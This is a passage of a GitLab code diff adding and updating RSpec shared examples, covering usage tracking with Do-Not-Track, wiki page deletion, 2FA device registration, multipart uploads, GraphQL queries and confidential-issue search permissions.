+ it 'tracks unique event if DNT is not enabled' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:track_event).with(expected_type, target_id)
+ request.headers['DNT'] = '0'
+
+ subject
+ end
+
+ it 'does not track unique event if DNT is enabled' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with(expected_type, target_id)
+ request.headers['DNT'] = '1'
+
+ subject
+ end
+
+ context 'when feature flag is disabled' do
+ it 'does not track unique event' do
+ stub_feature_flags(feature_flag => false)
+
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with(expected_type, target_id)
+
+ subject
+ end
+ end
+ end
+
+ context 'when format is JSON' do
+ let(:format) { :json }
+
+ it 'does not track unique event if the format is JSON' do
+ expect(Gitlab::UsageDataCounters::HLLRedisCounter).not_to receive(:track_event).with(expected_type, target_id)
+
+ subject
+ end
+ end
+end
diff --git a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
index 90588756eb0..428389a9a01 100644
--- a/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
RSpec.shared_examples 'tracking unique visits' do |method|
+ let(:request_params) { {} }
+
it 'tracks unique visit if the format is HTML' do
expect_any_instance_of(Gitlab::Analytics::UniqueVisits).to receive(:track_visit).with(instance_of(String), target_id)
diff --git a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
index c89ee0d25ae..4ca400dd87b 100644
--- a/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
+++ b/spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb
@@ -388,7 +388,54 @@ RSpec.shared_examples 'wiki controller actions' do
end.not_to change { wiki.list_pages.size }
expect(response).to render_template('shared/wikis/edit')
- expect(flash[:alert]).to eq('Could not create wiki page')
+ end
+ end
+ end
+
+ describe 'DELETE #destroy' do
+ let(:id_param) { wiki_title }
+
+ subject do
+ delete(:destroy,
+ params: routing_params.merge(
+ id: id_param
+ ))
+ end
+
+ context 'when page exists' do
+ it 'deletes the page' do
+ expect do
+ subject
+ end.to change { wiki.list_pages.size }.by(-1)
+ end
+
+ context 'but page cannot be deleted' do
+ before do
+ allow_next_instance_of(WikiPage) do |page|
+ allow(page).to receive(:delete).and_return(false)
+ end
+ end
+
+ it 'renders the edit state' do
+ expect do
+ subject
+ end.not_to change { wiki.list_pages.size }
+
+ expect(response).to render_template('shared/wikis/edit')
+ expect(assigns(:error).message).to eq('Could not delete wiki page')
+ end
+ end
+ end
+
+ context 'when page does not exist' do
+ let(:id_param) { 'nil' }
+
+ it 'renders 404' do
+ expect do
+ subject
+ end.not_to change { wiki.list_pages.size }
+
+ expect(response).to have_gitlab_http_status(:not_found)
end
end
end
diff --git a/spec/support/shared_examples/features/2fa_shared_examples.rb b/spec/support/shared_examples/features/2fa_shared_examples.rb
new file mode 100644
index 00000000000..ddc03e178ba
--- /dev/null
+++ b/spec/support/shared_examples/features/2fa_shared_examples.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'hardware device for 2fa' do |device_type|
+ include Spec::Support::Helpers::Features::TwoFactorHelpers
+
+ def register_device(device_type, **kwargs)
+ case device_type.downcase
+ when "u2f"
+ register_u2f_device(**kwargs)
+ when "webauthn"
+ register_webauthn_device(**kwargs)
+ else
+ raise "Unknown device type #{device_type}"
+ end
+ end
+
+ describe "registration" do
+ let(:user) { create(:user) }
+
+ before do
+ gitlab_sign_in(user)
+ user.update_attribute(:otp_required_for_login, true)
+ end
+
+ describe 'when 2FA via OTP is disabled' do
+ before do
+ user.update_attribute(:otp_required_for_login, false)
+ end
+
+ it 'does not allow registering a new device' do
+ visit profile_account_path
+ click_on 'Enable two-factor authentication'
+
+ expect(page).to have_button("Set up new device", disabled: true)
+ end
+ end
+
+ describe 'when 2FA via OTP is enabled' do
+ it 'allows registering a new device with a name' do
+ visit profile_account_path
+ manage_two_factor_authentication
+ expect(page).to have_content("You've already enabled two-factor authentication using one time password authenticators")
+
+ device = register_device(device_type)
+
+ expect(page).to have_content(device.name)
+ expect(page).to have_content("Your #{device_type} device was registered")
+ end
+
+ it 'allows deleting a device' do
+ visit profile_account_path
+ manage_two_factor_authentication
+ expect(page).to have_content("You've already enabled two-factor authentication using one time password authenticators")
+
+ first_device = register_device(device_type)
+ second_device = register_device(device_type, name: 'My other device')
+
+ expect(page).to have_content(first_device.name)
+ expect(page).to have_content(second_device.name)
+
+ accept_confirm { click_on 'Delete', match: :first }
+
+ expect(page).to have_content('Successfully deleted')
+ expect(page.body).not_to have_content(first_device.name)
+ expect(page.body).to have_content(second_device.name)
+ end
+ end
+ end
+
+ describe 'fallback code authentication' do
+ let(:user) { create(:user) }
+
+ before do
+ # Register and logout
+ gitlab_sign_in(user)
+ user.update_attribute(:otp_required_for_login, true)
+ visit profile_account_path
+ end
+
+ describe 'when no device is registered' do
+ before do
+ gitlab_sign_out
+ gitlab_sign_in(user)
+ end
+
+ it 'shows the fallback otp code UI' do
+ assert_fallback_ui(page)
+ end
+ end
+
+ describe 'when a device is registered' do
+ before do
+ manage_two_factor_authentication
+ register_device(device_type)
+ gitlab_sign_out
+ gitlab_sign_in(user)
+ end
+
+ it 'provides a button that shows the fallback otp code UI' do
+ expect(page).to have_link('Sign in via 2FA code')
+
+ click_link('Sign in via 2FA code')
+
+ assert_fallback_ui(page)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/editable_merge_request_shared_examples.rb b/spec/support/shared_examples/features/editable_merge_request_shared_examples.rb
index 487c38da7da..c9910487798 100644
--- a/spec/support/shared_examples/features/editable_merge_request_shared_examples.rb
+++ b/spec/support/shared_examples/features/editable_merge_request_shared_examples.rb
@@ -124,3 +124,16 @@ end
def get_textarea_height
page.evaluate_script('document.getElementById("merge_request_description").offsetHeight')
end
+
+RSpec.shared_examples 'an editable merge request with reviewers' do
+ it 'updates merge request', :js do
+ find('.js-reviewer-search').click
+ page.within '.dropdown-menu-user' do
+ click_link user.name
+ end
+ expect(find('input[name="merge_request[reviewer_ids][]"]', visible: false).value).to match(user.id.to_s)
+ page.within '.js-reviewer-search' do
+ expect(page).to have_content user.name
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/error_tracking_shared_example.rb b/spec/support/shared_examples/features/error_tracking_shared_example.rb
index ae7d62f31a2..92fc54ce0b0 100644
--- a/spec/support/shared_examples/features/error_tracking_shared_example.rb
+++ b/spec/support/shared_examples/features/error_tracking_shared_example.rb
@@ -36,10 +36,10 @@ end
RSpec.shared_examples 'expanded stack trace context' do |selected_line: nil, expected_line: 1|
it 'expands the stack trace context', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/217810' } do
within('div.stacktrace') do
- find("div.file-holder:nth-child(#{selected_line}) svg.ic-chevron-right").click if selected_line
+ find("div.file-holder:nth-child(#{selected_line}) svg[data-testid='chevron-right-icon']").click if selected_line
expanded_line = find("div.file-holder:nth-child(#{expected_line})")
- expect(expanded_line).to have_css('svg.ic-chevron-down')
+ expect(expanded_line).to have_css('svg[data-testid="chevron-down-icon"]')
event_response['entries'][0]['data']['values'][0]['stacktrace']['frames'][-expected_line]['context'].each do |context|
expect(page).to have_content(context[0])
diff --git a/spec/support/shared_examples/features/file_uploads_shared_examples.rb b/spec/support/shared_examples/features/file_uploads_shared_examples.rb
new file mode 100644
index 00000000000..ea8c8d44501
--- /dev/null
+++ b/spec/support/shared_examples/features/file_uploads_shared_examples.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'handling file uploads' do |shared_examples_name|
+ context 'with object storage disabled' do
+ context 'with upload_middleware_jwt_params_handler disabled' do
+ before do
+ stub_feature_flags(upload_middleware_jwt_params_handler: false)
+
+ expect_next_instance_of(Gitlab::Middleware::Multipart::Handler) do |handler|
+ expect(handler).to receive(:with_open_files).and_call_original
+ end
+ end
+
+ it_behaves_like shared_examples_name
+ end
+
+ context 'with upload_middleware_jwt_params_handler enabled' do
+ before do
+ stub_feature_flags(upload_middleware_jwt_params_handler: true)
+
+ expect_next_instance_of(Gitlab::Middleware::Multipart::HandlerForJWTParams) do |handler|
+ expect(handler).to receive(:with_open_files).and_call_original
+ end
+ end
+
+ it_behaves_like shared_examples_name
+ end
+ end
+end
diff --git a/spec/support/shared_examples/features/packages_shared_examples.rb b/spec/support/shared_examples/features/packages_shared_examples.rb
index 6debbf81fc0..f201421e827 100644
--- a/spec/support/shared_examples/features/packages_shared_examples.rb
+++ b/spec/support/shared_examples/features/packages_shared_examples.rb
@@ -14,7 +14,7 @@ RSpec.shared_examples 'packages list' do |check_project_name: false|
end
def package_table_row(index)
- page.all("#{packages_table_selector} > [data-qa-selector=\"packages-row\"]")[index].text
+ page.all("#{packages_table_selector} > [data-qa-selector=\"package_row\"]")[index].text
end
end
@@ -32,7 +32,7 @@ RSpec.shared_examples 'package details link' do |property|
expect(page).to have_current_path(project_package_path(package.project, package))
- page.within('.detail-page-header') do
+ page.within('[data-qa-selector="package_title"]') do
expect(page).to have_content(package.name)
end
diff --git a/spec/support/shared_examples/graphql/members_shared_examples.rb b/spec/support/shared_examples/graphql/members_shared_examples.rb
index a58e716efd2..3a046c3feec 100644
--- a/spec/support/shared_examples/graphql/members_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/members_shared_examples.rb
@@ -20,3 +20,64 @@ RSpec.shared_examples 'a working membership object query' do |model_option|
).to eq('DEVELOPER')
end
end
+
+RSpec.shared_examples 'querying members with a group' do
+ let_it_be(:root_group) { create(:group, :private) }
+ let_it_be(:group_1) { create(:group, :private, parent: root_group, name: 'Main Group') }
+ let_it_be(:group_2) { create(:group, :private, parent: root_group) }
+
+ let_it_be(:user_1) { create(:user, name: 'test user') }
+ let_it_be(:user_2) { create(:user, name: 'test user 2') }
+ let_it_be(:user_3) { create(:user, name: 'another user 1') }
+ let_it_be(:user_4) { create(:user, name: 'another user 2') }
+
+ let_it_be(:root_group_member) { create(:group_member, user: user_4, group: root_group) }
+ let_it_be(:group_1_member) { create(:group_member, user: user_2, group: group_1) }
+ let_it_be(:group_2_member) { create(:group_member, user: user_3, group: group_2) }
+
+ let(:args) { {} }
+
+ subject do
+ resolve(described_class, obj: resource, args: args, ctx: { current_user: user_4 })
+ end
+
+ describe '#resolve' do
+ before do
+ group_1.add_maintainer(user_4)
+ end
+
+ it 'finds all resource members' do
+ expect(subject).to contain_exactly(resource_member, group_1_member, root_group_member)
+ end
+
+ context 'with search' do
+ context 'when the search term matches a user' do
+ let(:args) { { search: 'test' } }
+
+ it 'searches users by user name' do
+ expect(subject).to contain_exactly(resource_member, group_1_member)
+ end
+ end
+
+ context 'when the search term does not match any user' do
+ let(:args) { { search: 'nothing' } }
+
+ it 'is empty' do
+ expect(subject).to be_empty
+ end
+ end
+ end
+
+ context 'when user can not see resource members' do
+ let_it_be(:other_user) { create(:user) }
+
+ subject do
+ resolve(described_class, obj: resource, args: args, ctx: { current_user: other_user })
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/graphql/mutation_shared_examples.rb b/spec/support/shared_examples/graphql/mutation_shared_examples.rb
index 86d2bb6c747..b67cac94547 100644
--- a/spec/support/shared_examples/graphql/mutation_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/mutation_shared_examples.rb
@@ -19,6 +19,13 @@ RSpec.shared_examples 'a mutation that returns top-level errors' do |errors: []|
end
end
+# There must be a method or let called `mutation` defined that executes
+# the mutation.
+RSpec.shared_examples 'a mutation that returns a top-level access error' do
+ include_examples 'a mutation that returns top-level errors',
+ errors: [Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR]
+end
+
RSpec.shared_examples 'an invalid argument to the mutation' do |argument_name:|
it_behaves_like 'a mutation that returns top-level errors' do
let(:match_errors) do
diff --git a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
index 2ef71d275a2..7627a7b4d59 100644
--- a/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
+++ b/spec/support/shared_examples/graphql/sorted_paginated_query_shared_examples.rb
@@ -84,6 +84,9 @@ RSpec.shared_examples 'sorted paginated query' do
cursored_query = pagination_query([sort_argument, "after: \"#{end_cursor}\""].compact.join(','), page_info)
post_graphql(cursored_query, current_user: current_user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+
response_data = graphql_dig_at(Gitlab::Json.parse(response.body), :data, *data_path, :edges)
expect(pagination_results_data(response_data)).to eq expected_results.drop(first_param)
diff --git a/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
new file mode 100644
index 00000000000..ed139e638bf
--- /dev/null
+++ b/spec/support/shared_examples/graphql/types/gitlab_style_deprecations_shared_examples.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'Gitlab-style deprecations' do
+ describe 'validations' do
+ it 'raises an informative error if `deprecation_reason` is used' do
+ expect { subject(deprecation_reason: 'foo') }.to raise_error(
+ ArgumentError,
+ 'Use `deprecated` property instead of `deprecation_reason`. ' \
+ 'See https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields-and-enum-values'
+ )
+ end
+
+ it 'raises an error if a required property is missing', :aggregate_failures do
+ expect { subject(deprecated: { milestone: '1.10' }) }.to raise_error(
+ ArgumentError,
+ 'Please provide a `reason` within `deprecated`'
+ )
+ expect { subject(deprecated: { reason: 'Deprecation reason' }) }.to raise_error(
+ ArgumentError,
+ 'Please provide a `milestone` within `deprecated`'
+ )
+ end
+
+ it 'raises an error if milestone is not a String', :aggregate_failures do
+ expect { subject(deprecated: { milestone: 1.10, reason: 'Deprecation reason' }) }.to raise_error(
+ ArgumentError,
+ '`milestone` must be a `String`'
+ )
+ end
+ end
+
+ it 'adds a formatted `deprecated_reason` to the subject' do
+ deprecable = subject(deprecated: { milestone: '1.10', reason: 'Deprecation reason' })
+
+ expect(deprecable.deprecation_reason).to eq('Deprecation reason. Deprecated in 1.10')
+ end
+
+ it 'appends to the description if given' do
+ deprecable = subject(
+ deprecated: { milestone: '1.10', reason: 'Deprecation reason' },
+ description: 'Deprecable description'
+ )
+
+ expect(deprecable.description).to eq('Deprecable description. Deprecated in 1.10: Deprecation reason')
+ end
+
+ it 'does not append to the description if it is absent' do
+ deprecable = subject(deprecated: { milestone: '1.10', reason: 'Deprecation reason' })
+
+ expect(deprecable.description).to be_nil
+ end
+end
diff --git a/spec/support/shared_examples/lib/banzai/reference_parser_shared_examples.rb b/spec/support/shared_examples/lib/banzai/reference_parser_shared_examples.rb
index d903c0f10e0..479b26977e2 100644
--- a/spec/support/shared_examples/lib/banzai/reference_parser_shared_examples.rb
+++ b/spec/support/shared_examples/lib/banzai/reference_parser_shared_examples.rb
@@ -1,6 +1,7 @@
# frozen_string_literal: true
RSpec.shared_examples "referenced feature visibility" do |*related_features|
+ let(:enable_user?) { false }
let(:feature_fields) do
related_features.map { |feature| (feature + "_access_level").to_sym }
end
@@ -35,8 +36,11 @@ RSpec.shared_examples "referenced feature visibility" do |*related_features|
end
context "when feature is enabled" do
- # The project is public
+ # Allows implementing specs to enable finer-tuned permissions
+ let(:enable_user?) { true }
+
it "creates reference" do
+ # The project is public
set_features_fields_to(ProjectFeature::ENABLED)
expect(subject.nodes_visible_to_user(user, [link])).to eq([link])
diff --git a/spec/support/shared_examples/lib/gitlab/alert_management/payload.rb b/spec/support/shared_examples/lib/gitlab/alert_management/payload.rb
new file mode 100644
index 00000000000..54b021e8371
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/alert_management/payload.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'parsable alert payload field with fallback' do |fallback, *paths|
+ context 'without payload' do
+ it { is_expected.to eq(fallback) }
+ end
+
+ paths.each do |path|
+ context "with #{path}" do
+ let(:value) { 'some value' }
+
+ before do
+ section, name = path.split('/')
+ raw_payload[section] = name ? { name => value } : value
+ end
+
+ it { is_expected.to eq(value) }
+ end
+ end
+end
+
+RSpec.shared_examples 'parsable alert payload field' do |*paths|
+ it_behaves_like 'parsable alert payload field with fallback', nil, *paths
+end
+
+RSpec.shared_examples 'subclass has expected api' do
+ it 'defines all public methods in the base class' do
+ default_methods = Gitlab::AlertManagement::Payload::Base.public_instance_methods
+ subclass_methods = described_class.public_instance_methods
+ missing_methods = subclass_methods - default_methods
+
+ expect(missing_methods).to be_empty
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/auth/atlassian_identity_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/auth/atlassian_identity_shared_examples.rb
new file mode 100644
index 00000000000..18a5087da3b
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/auth/atlassian_identity_shared_examples.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'an atlassian identity' do
+ it 'sets the proper values' do
+ expect(identity.extern_uid).to eq(extern_uid)
+ expect(identity.token).to eq(credentials[:token])
+ expect(identity.refresh_token).to eq(credentials[:refresh_token])
+ expect(identity.expires_at.to_i).to eq(credentials[:expires_at])
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb
index 8cf6babe146..e93077c42e1 100644
--- a/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/background_migration/mentions_migration_shared_examples.rb
@@ -63,7 +63,7 @@ RSpec.shared_examples 'schedules resource mentions migration' do |resource_class
it 'schedules background migrations' do
Sidekiq::Testing.fake! do
- Timecop.freeze do
+ freeze_time do
resource_count = is_for_notes ? Note.count : resource_class.count
expect(resource_count).to eq 5
diff --git a/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
index a3800f050bb..f018ece0d46 100644
--- a/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb
@@ -5,18 +5,19 @@ RSpec.shared_examples 'network policy common specs' do
let(:namespace) { 'example-namespace' }
let(:labels) { nil }
+ describe '#generate' do
+ subject { policy.generate }
+
+ it { is_expected.to eq(Kubeclient::Resource.new(policy.resource)) }
+ end
+
describe 'as_json' do
let(:json_policy) do
{
name: name,
namespace: namespace,
creation_timestamp: nil,
- manifest: YAML.dump(
- {
- metadata: metadata,
- spec: spec
- }.deep_stringify_keys
- ),
+ manifest: YAML.dump(policy.resource.deep_stringify_keys),
is_autodevops: false,
is_enabled: true
}
diff --git a/spec/support/shared_examples/lib/gitlab/middleware/multipart_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/middleware/multipart_shared_examples.rb
new file mode 100644
index 00000000000..6327367fcc2
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/middleware/multipart_shared_examples.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'handling all upload parameters conditions' do
+ context 'one root parameter' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'file', filename: filename, remote_id: remote_id) }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(filepath: uploaded_filepath, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(file))
+
+ subject
+ end
+ end
+
+ context 'two root parameters' do
+ include_context 'with two temporary files for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file1' => uploaded_filepath, 'file2' => uploaded_filepath2) }
+ let(:params) do
+ upload_parameters_for(filepath: uploaded_filepath, key: 'file1', filename: filename, remote_id: remote_id).merge(
+ upload_parameters_for(filepath: uploaded_filepath2, key: 'file2', filename: filename2, remote_id: remote_id2)
+ )
+ end
+
+ it 'builds UploadedFiles' do
+ expect_uploaded_files([
+ { filepath: uploaded_filepath, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(file1) },
+ { filepath: uploaded_filepath2, original_filename: filename2, remote_id: remote_id2, size: uploaded_file2.size, params_path: %w(file2) }
+ ])
+
+ subject
+ end
+ end
+
+ context 'one nested parameter' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('user[avatar]' => uploaded_filepath) }
+ let(:params) { { 'user' => { 'avatar' => upload_parameters_for(filepath: uploaded_filepath, filename: filename, remote_id: remote_id) } } }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(filepath: uploaded_filepath, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(user avatar))
+
+ subject
+ end
+ end
+
+ context 'two nested parameters' do
+ include_context 'with two temporary files for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('user[avatar]' => uploaded_filepath, 'user[screenshot]' => uploaded_filepath2) }
+ let(:params) do
+ {
+ 'user' => {
+ 'avatar' => upload_parameters_for(filepath: uploaded_filepath, filename: filename, remote_id: remote_id),
+ 'screenshot' => upload_parameters_for(filepath: uploaded_filepath2, filename: filename2, remote_id: remote_id2)
+ }
+ }
+ end
+
+ it 'builds UploadedFiles' do
+ expect_uploaded_files([
+ { filepath: uploaded_filepath, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(user avatar) },
+ { filepath: uploaded_filepath2, original_filename: filename2, remote_id: remote_id2, size: uploaded_file2.size, params_path: %w(user screenshot) }
+ ])
+
+ subject
+ end
+ end
+
+ context 'one deeply nested parameter' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('user[avatar][bananas]' => uploaded_filepath) }
+ let(:params) { { 'user' => { 'avatar' => { 'bananas' => upload_parameters_for(filepath: uploaded_filepath, filename: filename, remote_id: remote_id) } } } }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(filepath: uploaded_file, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(user avatar bananas))
+
+ subject
+ end
+ end
+
+ context 'two deeply nested parameters' do
+ include_context 'with two temporary files for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('user[avatar][bananas]' => uploaded_filepath, 'user[friend][ananas]' => uploaded_filepath2) }
+ let(:params) do
+ {
+ 'user' => {
+ 'avatar' => {
+ 'bananas' => upload_parameters_for(filepath: uploaded_filepath, filename: filename, remote_id: remote_id)
+ },
+ 'friend' => {
+ 'ananas' => upload_parameters_for(filepath: uploaded_filepath2, filename: filename2, remote_id: remote_id2)
+ }
+ }
+ }
+ end
+
+ it 'builds UploadedFiles' do
+ expect_uploaded_files([
+ { filepath: uploaded_file, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(user avatar bananas) },
+ { filepath: uploaded_file2, original_filename: filename2, remote_id: remote_id2, size: uploaded_file2.size, params_path: %w(user friend ananas) }
+ ])
+
+ subject
+ end
+ end
+
+ context 'three parameters nested at different levels' do
+ include_context 'with three temporary files for multipart'
+
+ let(:rewritten_fields) do
+ rewritten_fields_hash(
+ 'file' => uploaded_filepath,
+ 'user[avatar]' => uploaded_filepath2,
+ 'user[friend][avatar]' => uploaded_filepath3
+ )
+ end
+
+ let(:params) do
+ upload_parameters_for(filepath: uploaded_filepath, filename: filename, key: 'file', remote_id: remote_id).merge(
+ 'user' => {
+ 'avatar' => upload_parameters_for(filepath: uploaded_filepath2, filename: filename2, remote_id: remote_id2),
+ 'friend' => {
+ 'avatar' => upload_parameters_for(filepath: uploaded_filepath3, filename: filename3, remote_id: remote_id3)
+ }
+ }
+ )
+ end
+
+ it 'builds UploadedFiles' do
+ expect_uploaded_files([
+ { filepath: uploaded_filepath, original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(file) },
+ { filepath: uploaded_filepath2, original_filename: filename2, remote_id: remote_id2, size: uploaded_file2.size, params_path: %w(user avatar) },
+ { filepath: uploaded_filepath3, original_filename: filename3, remote_id: remote_id3, size: uploaded_file3.size, params_path: %w(user friend avatar) }
+ ])
+
+ subject
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/project_search_results_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/project_search_results_shared_examples.rb
new file mode 100644
index 00000000000..94ef41ce5a5
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/project_search_results_shared_examples.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'access restricted confidential issues' do
+ let(:query) { 'issue' }
+ let(:author) { create(:user) }
+ let(:assignee) { create(:user) }
+ let(:project) { create(:project, :internal) }
+
+ let!(:issue) { create(:issue, project: project, title: 'Issue 1') }
+ let!(:security_issue_1) { create(:issue, :confidential, project: project, title: 'Security issue 1', author: author) }
+ let!(:security_issue_2) { create(:issue, :confidential, title: 'Security issue 2', project: project, assignees: [assignee]) }
+
+ subject(:objects) do
+ described_class.new(user, query, project: project).objects('issues')
+ end
+
+ context 'when the user is non-member' do
+ let(:user) { create(:user) }
+
+ it 'does not list project confidential issues for non project members' do
+ expect(objects).to contain_exactly(issue)
+ expect(results.limited_issues_count).to eq 1
+ end
+ end
+
+ context 'when the member is guest' do
+ let(:user) do
+ create(:user) { |guest| project.add_guest(guest) }
+ end
+
+ it 'does not list project confidential issues for project members with guest role' do
+ expect(objects).to contain_exactly(issue)
+ expect(results.limited_issues_count).to eq 1
+ end
+ end
+
+ context 'when the user is the author' do
+ let(:user) { author }
+
+ it 'lists project confidential issues' do
+ expect(objects).to contain_exactly(issue,
+ security_issue_1)
+ expect(results.limited_issues_count).to eq 2
+ end
+ end
+
+ context 'when the user is the assignee' do
+ let(:user) { assignee }
+
+ it 'lists project confidential issues for assignee' do
+ expect(objects).to contain_exactly(issue,
+ security_issue_2)
+ expect(results.limited_issues_count).to eq 2
+ end
+ end
+
+ context 'when the user is a developper' do
+ let(:user) do
+ create(:user) { |user| project.add_developer(user) }
+ end
+
+ it 'lists project confidential issues' do
+ expect(objects).to contain_exactly(issue,
+ security_issue_1,
+ security_issue_2)
+ expect(results.limited_issues_count).to eq 3
+ end
+ end
+
+ context 'when the user is admin', :request_store do
+ let(:user) { create(:user, admin: true) }
+
+ it 'lists all project issues' do
+ expect(objects).to contain_exactly(issue,
+ security_issue_1,
+ security_issue_2)
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/repo_type_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/repo_type_shared_examples.rb
index 4aeae788114..025f0d5c7ea 100644
--- a/spec/support/shared_examples/lib/gitlab/repo_type_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/repo_type_shared_examples.rb
@@ -17,5 +17,9 @@ RSpec.shared_examples 'a repo type' do
it 'finds the repository for the repo type' do
expect(described_class.repository_for(expected_container)).to eq(expected_repository)
end
+
+ it 'returns nil when container is nil' do
+ expect(described_class.repository_for(nil)).to eq(nil)
+ end
end
end
diff --git a/spec/support/shared_examples/lib/gitlab/search/recent_items.rb b/spec/support/shared_examples/lib/gitlab/search/recent_items.rb
new file mode 100644
index 00000000000..f96ff4b101e
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/search/recent_items.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.shared_examples 'search recent items' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:recent_items) { described_class.new(user: user, items_limit: 5) }
+ let(:item) { create_item(content: 'hello world 1', project: project) }
+ let(:project) { create(:project, :public) }
+
+ describe '#log_view', :clean_gitlab_redis_shared_state do
+ it 'adds the item to the recent items' do
+ recent_items.log_view(item)
+
+ results = recent_items.search('hello')
+
+ expect(results).to eq([item])
+ end
+
+ it 'removes an item when it exceeds the size items_limit' do
+ (1..6).each do |i|
+ recent_items.log_view(create_item(content: "item #{i}", project: project))
+ end
+
+ results = recent_items.search('item')
+
+ expect(results.map(&:title)).to contain_exactly('item 6', 'item 5', 'item 4', 'item 3', 'item 2')
+ end
+
+ it 'expires the items after expires_after' do
+ recent_items = described_class.new(user: user, expires_after: 0)
+
+ recent_items.log_view(item)
+
+ results = recent_items.search('hello')
+
+ expect(results).to be_empty
+ end
+
+ it 'does not include results logged for another user' do
+ another_user = create(:user)
+ another_item = create_item(content: 'hello world 2', project: project)
+ described_class.new(user: another_user).log_view(another_item)
+ recent_items.log_view(item)
+
+ results = recent_items.search('hello')
+
+ expect(results).to eq([item])
+ end
+ end
+
+ describe '#search', :clean_gitlab_redis_shared_state do
+ let(:item1) { create_item(content: "matching item 1", project: project) }
+ let(:item2) { create_item(content: "matching item 2", project: project) }
+ let(:item3) { create_item(content: "matching item 3", project: project) }
+ let(:non_matching_item) { create_item(content: "different item", project: project) }
+ let!(:non_viewed_item) { create_item(content: "matching but not viewed item", project: project) }
+
+ before do
+ recent_items.log_view(item1)
+ recent_items.log_view(item2)
+ recent_items.log_view(item3)
+ recent_items.log_view(non_matching_item)
+ end
+
+ it 'matches partial text in the item title' do
+ expect(recent_items.search('matching')).to contain_exactly(item1, item2, item3)
+ end
+
+ it 'returns results sorted by recently viewed' do
